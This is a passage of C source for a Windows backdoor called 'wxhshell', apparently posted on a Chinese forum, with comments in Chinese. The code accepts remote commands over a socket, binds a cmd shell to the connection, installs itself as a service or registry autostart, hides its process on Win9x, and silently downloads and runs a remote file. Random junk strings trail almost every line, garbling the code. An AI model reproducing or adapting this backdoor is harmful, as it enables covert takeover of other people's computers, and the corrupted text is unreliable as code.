  } 0<8XI>.3D  
  else { I+!:K|^  
?H_ LX;r  
    switch(cmd[0]) { [! 'op0  
  #U*_1P0h  
  // 帮助 `Pw*_2  
  case '?': { `60gFVu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4;HJ;0-ps  
    break; dB+N\HBY  
  } n!')wIk  
  // 安装 k ^ YO%_  
  case 'i': { <5G{"U+ \  
    if(Install()) #/NS&_Ge0s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {8R"O{  
    else McoK@q ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8)kLV_+%  
    break; xil[#W]7Ge  
    } @]q BF]6  
  // 卸载 8scc%t7  
  case 'r': { YPzU-:3  
    if(Uninstall()) ;SwMu@tg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -QyhwG =  
    else CiR%Ujf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U`o^mtW.  
    break; LGc&o]k  
    } ~>0qZ{3J_  
  // 显示 wxhshell 所在路径 Hg9CZM ko  
  case 'p': { _BFOc>0  
    char svExeFile[MAX_PATH]; Dw7vv]+ S  
    strcpy(svExeFile,"\n\r"); yQ3OL#  
      strcat(svExeFile,ExeFile); VyRsPg[(  
        send(wsh,svExeFile,strlen(svExeFile),0); v4RlLg dS%  
    break; x+]!m/  
    } BC,.^"fA6  
  // 重启 t+?P^Ok  
  case 'b': { .XkMk|t8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lQfL3`X!  
    if(Boot(REBOOT)) .>wv\i [p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a=XW[TY1  
    else { BS&;n  
    closesocket(wsh); \m=?xb8 f  
    ExitThread(0); Z_gC&7+  
    } ( Y+N@d  
    break; (~$/$%b  
    } m~lpyAw  
  // 关机 ? <Y+peu  
  case 'd': { p#SY /KIw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U$H @ jJ*  
    if(Boot(SHUTDOWN)) #wc \T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ FZ^6*  
    else { w'X]M#Q><  
    closesocket(wsh); JbO ~n )%x  
    ExitThread(0); ]#/4Y_d  
    } }tPk@$  
    break; m^_6:Q0F!8  
    } '!P"xBVAu  
  // 获取shell YUQtMf9  
  case 's': { mR8W]'gl.L  
    CmdShell(wsh); z4@k$ L8  
    closesocket(wsh); 9'x)M?{8  
    ExitThread(0); {k5X*W  
    break; !GW ,\y  
  } aZKOY  
  // 退出 r-kMLw/)  
  case 'x': { GHF_R,7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o$C| J]%  
    CloseIt(wsh); ?R-9W+U%f  
    break; qzFQEepso  
    } NNG}M(/V  
  // 离开 T@%m7|P  
  case 'q': { e4I^!5)N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O+=vEp(  
    closesocket(wsh); m,')&{Rd  
    WSACleanup(); 24Z]%+b*E  
    exit(1); Pv<FLo%u<  
    break; Jdy <w&S  
        } 1Uf*^WW4  
  } +Z!;P Z6  
  } =2y8 CgLj  
\n9A^v`F/  
  // 提示信息 F8e<}v&7R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sA9 &/p/  
} -ng=l;  
  } 19(Dj&x  
>x3ug]Bu  
  return; Px M!U!t  
} kl1Y] ?z}  
@c'|Iqy`  
// shell模块句柄 .bf<<+'o  
int CmdShell(SOCKET sock) <DH*~tLp2  
{ i`)!X:j  
STARTUPINFO si; tvX>{-M  
ZeroMemory(&si,sizeof(si)); Fv?=Z-wk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j%<}jw[2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6AN)vs}  
PROCESS_INFORMATION ProcessInfo; yB LUNIr  
char cmdline[]="cmd"; }<MR`h1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +:6Ii9G N  
  return 0; Lt#'W  
} v&g0ta@  
-~)OF  
// 自身启动模式 +Ra3bjl  
int StartFromService(void) L;W.pe0  
{ ql5x2n  
typedef struct OMihXt[  
{ Uz%Z&K  
  DWORD ExitStatus; $R8w+ Id  
  DWORD PebBaseAddress; ^TXfsQs  
  DWORD AffinityMask; Swtbl`,  
  DWORD BasePriority; :9l51oE7  
  ULONG UniqueProcessId; d~ng6pA  
  ULONG InheritedFromUniqueProcessId; nY `2uN~9  
}   PROCESS_BASIC_INFORMATION; #>@z 2K7  
v_PdOp[ k  
PROCNTQSIP NtQueryInformationProcess; lf>nbvp  
BzpP7ZWV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :^C'<SY2Gs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SC#sax4N!=  
oJ*1>7[J  
  HANDLE             hProcess; 0MIUI<;j  
  PROCESS_BASIC_INFORMATION pbi; Snf"z8sw  
ID};<[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S"snB/  
  if(NULL == hInst ) return 0; ,D80/2U^  
`PI(%N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XeUC0K[D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); daZQz"PP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h3u1K>R)  
]_*S~'x  
  if (!NtQueryInformationProcess) return 0; =lr)gj  
K.>wQA&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -ewQp9)G  
  if(!hProcess) return 0; Aj"7q  
$%c{06Oq(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,<ya@Fi{  
v.Ogf 5  
  CloseHandle(hProcess); Zu<]bv  
s[3fqdLP&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,[48Mspp  
if(hProcess==NULL) return 0; H!IDV }dn  
%4>x!{jwV  
HMODULE hMod; ~hN~>0O  
char procName[255]; c"gsB!xh  
unsigned long cbNeeded; 'bW5Fr>W  
]]iO- }  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v:ER 4  
_; ]e@  
  CloseHandle(hProcess); ,ul5,ygA  
 5K56!*Y  
if(strstr(procName,"services")) return 1; // 以服务启动 HV]Ze>}  
O ++/ry%k  
  return 0; // 注册表启动 N=,j}FY  
} es.CLkuD7Y  
Mpx/S<Z  
// 主模块 z YDK $  
int StartWxhshell(LPSTR lpCmdLine) eS!C3xC;J]  
{ "/%89 HMD  
  SOCKET wsl; *07sK1wW  
BOOL val=TRUE; OOy}]uYF`  
  int port=0; gp< =Gmd  
  struct sockaddr_in door; Jj"HpK>[  
v ahoSc;sw  
  if(wscfg.ws_autoins) Install(); @YL}km&Fw  
A|x:UQlu  
port=atoi(lpCmdLine); ?F$6;N6x  
=fG:A(v%}  
if(port<=0) port=wscfg.ws_port; J=WB6zi  
setL dEi  
  WSADATA data; o$_93<zc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cqL(^R.  
E'dX)J9e$/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6* rcR]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )&1!xF   
  door.sin_family = AF_INET; RR25Q. c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]EL\)xCr  
  door.sin_port = htons(port); RtF8A5ys  
-Wjh**  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]rX9MA6  
closesocket(wsl); sB7" 0M  
return 1; rFd@mO  
} WfVMdwz=  
K; kM_%9u  
  if(listen(wsl,2) == INVALID_SOCKET) { T)\NkM&  
closesocket(wsl); -}<g-*m"q  
return 1; snMQ"ju  
} +l\<?  
  Wxhshell(wsl); T1~)^qQ  
  WSACleanup(); eK_*q -  
>!BFt$sd  
return 0; y lL8+7W  
YF[$Q=7.  
} pC^[[5A  
Cd~LsdKE5  
// 以NT服务方式启动 /7p>7q 9g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *TnzkNN_,  
{ nxRwWj57  
DWORD   status = 0; 8M93cyX  
  DWORD   specificError = 0xfffffff; @ ^. *$E5  
,/o(|sks  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /t{=8v~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \|q-+4]@,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~mA7pOHj  
  serviceStatus.dwWin32ExitCode     = 0; xXOw:A'  
  serviceStatus.dwServiceSpecificExitCode = 0; XS/n>C  
  serviceStatus.dwCheckPoint       = 0; V*qY"[   
  serviceStatus.dwWaitHint       = 0; {8m1dEC^@Q  
_Y#Bm/*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1P5LH 5  
  if (hServiceStatusHandle==0) return; !J# .!}3  
/2w@ K_Px6  
status = GetLastError(); qX@9N=g`#O  
  if (status!=NO_ERROR) ~gt3Omh  
{ +qE']yzm!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bcaw~WD  
    serviceStatus.dwCheckPoint       = 0; bF6gBM@*  
    serviceStatus.dwWaitHint       = 0; S:Xs '0K_  
    serviceStatus.dwWin32ExitCode     = status; (Jpm KO  
    serviceStatus.dwServiceSpecificExitCode = specificError; lPS*-p#IZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Ylg$?,9*  
    return; )F E8D  
  } 0M\NS$u(Y  
3H'*?|Y(#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >EBC 2WJ  
  serviceStatus.dwCheckPoint       = 0; tR O IBq|  
  serviceStatus.dwWaitHint       = 0; CKC0{J8g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4<Kgmy  
} k/^g*  
_80ns&q  
// 处理NT服务事件,比如:启动、停止 vf_OQ4'G,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t?.\|2  
{ AfE%a-;:  
switch(fdwControl) b7v dk  
{ B(Y.`L? %E  
case SERVICE_CONTROL_STOP: 0BXs&i-TP5  
  serviceStatus.dwWin32ExitCode = 0; 'z](xG<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '>]&rb09|  
  serviceStatus.dwCheckPoint   = 0; A;t zRe  
  serviceStatus.dwWaitHint     = 0; }} #be  
  { dJE`9$jN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %yhI;M^  
  } >;}]pI0T  
  return; K P6PQgc  
case SERVICE_CONTROL_PAUSE: LaT8l?q q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v>:=w|.HC  
  break; [a+4gy  
case SERVICE_CONTROL_CONTINUE: ^Fvr f`A'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T^NJ4L4#  
  break; @#CF".fuN>  
case SERVICE_CONTROL_INTERROGATE: bqNLkw#  
  break; %O_t`wz  
}; &%:*\_2s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _/ Tlqzp  
} ,4yG(O$)  
w>vmF cp  
// 标准应用程序主函数 fO+U HSC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N1s.3`  
{ u#!GMZJN  
H9:%6sds  
// 获取操作系统版本 8>d q=0:  
OsIsNt=GetOsVer(); qxSs ~Qc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '2xcce#  
wzbz }P>  
  // 从命令行安装 _f66>a<  
  if(strpbrk(lpCmdLine,"iI")) Install(); a+'}XEhSC:  
R( GmU4  
  // 下载执行文件 O&=KlnI:  
if(wscfg.ws_downexe) { FdM<;}6T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g~|y$T  
  WinExec(wscfg.ws_filenam,SW_HIDE); R9q0,yQW  
} -[<vYxX:h:  
QSv^l-<  
if(!OsIsNt) { lT3|D?sF  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Abz 5-^KH  
HideProc(); l\Cu1r-z  
StartWxhshell(lpCmdLine); /khnl9~+  
} k!9=  
else " Ac~2<V  
  if(StartFromService()) sU0Stg8&b  
  // 以服务方式启动 hw|t8 ShW  
  StartServiceCtrlDispatcher(DispatchTable); cp|:8 [  
else n{z8Ao%  
  // 普通方式启动 iA&oLu[y3  
  StartWxhshell(lpCmdLine); qz87iJp&  
+`9yZOaC#  
return 0; >mew"0Q  
}
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只看该作者 1 发表于: 2006-10-10
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